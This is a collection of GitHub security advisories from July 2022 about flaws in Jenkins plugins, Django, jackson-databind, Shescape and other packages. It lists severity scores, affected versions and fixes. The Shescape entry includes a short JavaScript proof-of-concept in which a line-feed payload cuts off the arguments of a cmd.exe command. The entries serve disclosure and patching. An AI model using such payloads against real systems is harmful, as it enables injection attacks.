score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

TestNG Results Plugin has options in its post-build step configuration to not escape test descriptions and exception messages. If those options are unchecked, TestNG Results Plugin 554.va4a552116332 and earlier renders the unescaped text provided in test results. This results in a cross-site scripting (XSS) vulnerability exploitable by attackers able to configure jobs or control test results. TestNG Results Plugin 555.va0d5f66521e3 by default ignores the user-level options to not escape content. Administrators who want to restore this functionality must set the [Java system property](https://www.jenkins.io/doc/book/managing/system-properties/) `hudson.plugins.testng.Publisher.allowUnescapedHTML` to true.
ion-parser Prototype Pollution when malicious INI file submitted to application that parses with `parse`
Advisory: GHSA-7vrv-5m2h-rjw9
Aliases: CVE-2020-28462
Published: 2022-07-26T00:01:05Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This affects all versions of package ion-parser. If an attacker submits a malicious INI file to an application that parses it with `parse` , they will pollute the prototype on the application. This can be exploited further depending on the context.
Missing Authorization in Jenkins Deployment Dashboard Plugin
Advisory: GHSA-q4mr-j6w9-r2mr
Aliases: CVE-2022-34798
Published: 2022-07-01T00:01:07Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Jenkins Deployment Dashboard Plugin version 1.0.10 and earlier does not perform a permission check in several HTTP endpoints, allowing attackers with Overall/Read permission to connect to an attacker-specified HTTP URL using attacker-specified credentials.
libconnect Extension for Typo3 Vulnerable to XSS
Advisory: GHSA-c8f2-5h29-8j2h
Aliases: CVE-2022-33157
Published: 2022-07-13T00:00:39Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

The libconnect extension before 7.0.8 and 8.x before 8.1.0 for TYPO3 allows XSS.
Eclipse Californium denial of service (DoS) via Datagram Transport Layer Security (DTLS) handshake on parameter mismatch
Advisory: GHSA-qq3j-44gw-cf6r
Aliases: CVE-2022-2576
Published: 2022-07-30T00:00:35Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

In Eclipse Californium versions 2.0.0 to 2.7.2 and 3.0.0-3.5.0 a DTLS resumption handshake falls back to a DTLS full handshake on a parameter mismatch without using a HelloVerifyRequest. Especially, if used with certificate based cipher suites, that results in message amplification (DDoS other peers) and high CPU load (DoS own peer). The misbehavior occurs only with DTLS_VERIFY_PEERS_ON_RESUMPTION_THRESHOLD values larger than 0.
Undertow vulnerable to Denial of Service (DoS) attacks
Advisory: GHSA-339q-62wm-c39w
Aliases: CVE-2021-3859
Published: 2022-07-15T21:32:13Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Undertow client side invocation timeout raised when calling over HTTP2, this vulnerability can allow attacker to carry out denial of service (DoS) attacks in versions less than 2.2.15 Final.
Hudson XML API susceptible to External Entity Injection Vunerability prior to v3.3.2
Advisory: GHSA-j3h2-8mf8-j5r2
Aliases: CVE-2015-8031
Published: 2022-07-15T18:12:47Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

In versions prior to 3.3.2, Hudson exhibits a flaw in its XML API processing that can allow access to potentially sensitive information on the filesystem of the Hudson master server.
Codecov prior to 2.0.16 does not sanitize gcov arguments
Advisory: GHSA-h3qr-fjhm-jphw
Aliases: CVE-2019-10800
Published: 2022-07-14T00:00:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

This affects the package codecov before 2.0.16. The vulnerability occurs due to not sanitizing gcov arguments before being being provided to the popen method.
Octobot before 0.4.4 mishandles Tentacles upload
Advisory: GHSA-fr75-x856-q6j8
Aliases: CVE-2021-36711
Published: 2022-07-17T00:00:44Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

WebInterface in OctoBot before 0.4.4 allows remote code execution because Tentacles upload is mishandled.
Django `Trunc()` and `Extract()` database functions vulnerable to SQL Injection
Advisory: GHSA-p64x-8rxx-wf6q
Aliases: CVE-2022-34265
Published: 2022-07-05T00:00:53Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An issue was discovered in Django 3.2 before 3.2.14 and 4.0 before 4.0.6. The `Trunc()` and `Extract()` database functions are subject to SQL injection if untrusted data is used as a kind/lookup_name value. Applications that constrain the lookup name and kind choice to a known safe list are unaffected.
Server-Side Request Forgery in link-preview-js
Advisory: GHSA-h9cw-7g8j-h66h
Aliases: CVE-2022-25876
Published: 2022-07-02T00:00:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

The package link-preview-js before 2.1.17 are vulnerable to Server-side Request Forgery (SSRF) which allows attackers to send arbitrary requests to the local network and read the response. This is due to flawed DNS rebinding protection.
Cross-Site Request Forgery in Jenkins Deployment Dashboard Plugin
Advisory: GHSA-x4g7-5xrm-5wmq
Aliases: CVE-2022-34797
Published: 2022-07-01T00:01:07Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

A cross-site request forgery (CSRF) vulnerability in Jenkins Deployment Dashboard Plugin 1.0.10 and earlier allows attackers to connect to an attacker-specified HTTP URL using attacker-specified credentials.
Regular expression denial of service in scss-tokenizer
Advisory: GHSA-7mwh-4pqv-wmr8
Aliases: CVE-2022-25758
Published: 2022-07-02T00:00:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

All versions of the package `scss-tokenizer` prior to 0.4.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `loadAnnotation()` function, due to the usage of insecure regex.
Missing permission check in Coverity Plugin allows capturing credentials
Advisory: GHSA-99mq-hw5m-gwjj
Aliases: CVE-2022-36921
Published: 2022-07-28T00:00:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Coverity Plugin 1.11.4 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.
Jenkins Compuware Topaz Utilities Plugin is missing authorization
Advisory: GHSA-qf4p-7gqc-x6jx
Aliases: CVE-2022-36895
Published: 2022-07-28T00:00:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

A missing permission check in Jenkins Compuware Topaz Utilities Plugin 1.0.8 and earlier allows attackers with Overall/Read permission to enumerate hosts and ports of Compuware configurations and credentials IDs of credentials stored in Jenkins.
Cross site scripting in Jenkins build-metrics Plugin
Advisory: GHSA-j2gv-q44j-xm42
Aliases: CVE-2022-34784
Published: 2022-07-01T00:01:07Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Jenkins build-metrics Plugin 1.3 does not escape the build description on one of its views, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Build/Update permission.
mezzio-swoole Applications Using Diactoros Vulnerable to HTTP Host Header Attack
Advisory: GHSA-c8rp-cgf4-937w
Published: 2022-07-29T22:26:10Z

### Impact

mezzio-swoole applications using Diactoros for their PSR-7 implementation, and which are either not behind a proxy, or can be accessed via untrusted proxies, can potentially have the host, protocol, and/or port of a `Laminas\Diactoros\Uri` instance associated with the incoming server request modified to reflect values from `X-Forwarded-*` headers. Such changes can potentially lead to XSS attacks (if a fully-qualified URL is used in links) and/or URL poisoning.

### Patches

3.7.0, and 4.3.0 and later.

The patches present in these versions update the `SwooleServerRequestFactory` to filter out `X-Forwarded-*` headers when creating the initial request. They then by default pass that instance through a `Laminas\Diactoros\ServerRequestFilter\FilterUsingXForwardedHeaders` instance created from the `trustReservedSubnet()` constructor, ensuring that the request only honors the `X-Forwarded-*` headers for private reserved subnets.

Users can define the `Laminas\Diactoros\ServerRequestFilter\FilterServerRequestInterface` service if they wish to provide a different implementation, or configure the `FilterUsingXForwardedHeaders` instance differently. When defined, that instance will be used to filter the generated request instance.

### Workarounds

Infrastructure or DevOps can place a trusted reverse proxy in front of the mezzio-swoole server.

### References

- [HTTP Host Header Attacks](https://portswigger.net/web-security/host-header)

### For more information

If you have any questions or comments about this advisory:

- Open an issue in [mezzio/mezzio-swoole](https://github.com/mezzio/mezzio-swoole/)
- [Email us](mailto:security@getlaminas.org)
jackson-databind before 2.9.10.4 vulnerable to unsafe deserialization
Advisory: GHSA-rpr3-cw39-3pxh
Aliases: CVE-2020-10650
Published: 2022-07-15T19:41:47Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

The com.fasterxml.jackson.core:jackson-databind library before version 2.9.10.4 is vulnerable to an Unsafe Deserialization vulnerability when handling interactions related to the class `ignite-jta`.
CSRF vulnerability in Jenkins OpenShift Deployer Plugin
Advisory: GHSA-8528-c6m6-gppm
Aliases: CVE-2022-36906
Published: 2022-07-28T00:00:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

OpenShift Deployer Plugin 1.2.0 and earlier does not perform a permission check in a method implementing form validation.

This form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.
Prototype Pollution in deep.assign
Advisory: GHSA-3829-mgmw-jcg4
Aliases: CVE-2021-40663
Published: 2022-07-01T00:01:14Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

deep.assign npm package 0.0.0-alpha.0 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
CSRF vulnerability in Jenkins OpenShift Deployer Plugin
Advisory: GHSA-5mv2-vqq7-mq5h
Aliases: CVE-2022-36908
Published: 2022-07-28T00:00:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

OpenShift Deployer Plugin 1.2.0 and earlier does not perform permission checks in methods implementing form validation.

These form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.
Islandora 2.0 before 2.4.1 could allow any user to upload content into a repository
Advisory: GHSA-m58q-qq5h-mgqq
Published: 2022-07-21T22:36:20Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

### Impact
This vulnerability would allow any user, regardless of permissions, to upload content into a repository. This affects installations of Islandora core 2.0 or greater.

### Patches
Upgrade immediately to the [latest release](https://github.com/Islandora/islandora/releases/tag/2.4.1) of Islandora.

### Workarounds
In lieu of an upgrade the [following module](https://github.com/Islandora/islandora_ghsa_route_fix) can be leveraged that will resolve the issue until such a time an upgrade can take place.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Islandora](https://github.com/Islandora/islandora)
* Contact community@islandora.ca.
Jenkins Deployer Framework Plugin allows attackers with Item/Read permission to read deployment logs
Advisory: GHSA-rqqx-fvqx-539g
Aliases: CVE-2022-36891
Published: 2022-07-28T00:00:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

A missing permission check in Jenkins Deployer Framework Plugin 85.v1d1888e8c021 and earlier allows attackers with Item/Read permission but without Deploy Now/Deploy permission to read deployment logs.
Shescape prior to 1.5.8 vulnerable to insufficient escaping of line feeds for CMD
Advisory: GHSA-jjc5-fp7p-6f8w
Aliases: CVE-2022-31179
Published: 2022-07-15T21:39:14Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:H

### Impact

This impacts users that use Shescape (any API function) to escape arguments for **cmd.exe** on **Windows**. An attacker can omit all arguments following their input by including a line feed character (`'\n'`) in the payload. Example:

```javascript
import cp from "node:child_process";
import * as shescape from "shescape";

// 1. Prerequisites
const options = {
  shell: "cmd.exe",
};

// 2. Attack
const payload = "attacker\n";

// 3. Usage
let escapedPayload;
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options)[0];
// Or
escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options)[0];

cp.execSync(`echo Hello ${escapedPayload}! How are you doing?`, options);
// Outputs:  "Hello attacker"
```

> **Note**: `execSync` is just illustrative here, all of `exec`, `execFile`, `execFileSync`, `fork`, `spawn`, and `spawnSync` can be attacked using a line feed character if CMD is the shell being used.

### Patches

This bug has been patched in [v1.5.8] which you can upgrade to now. No further changes are required.

### Workarounds

Alternatively, line feed characters (`'\n'`) can be stripped out manually or the user input can be made the last argument (this only limits the impact).

### References

- https://github.com/ericcornelissen/shescape/pull/332
- https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8

### For more information

If you have any questions or comments about this advisory:

- Comment on https://github.com/ericcornelissen/shescape/pull/332
- Open an issue at https://github.com/ericcornelissen/shescape/issues (_New issue_ > _Question_ > _Get started_)

[v1.5.8]: https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8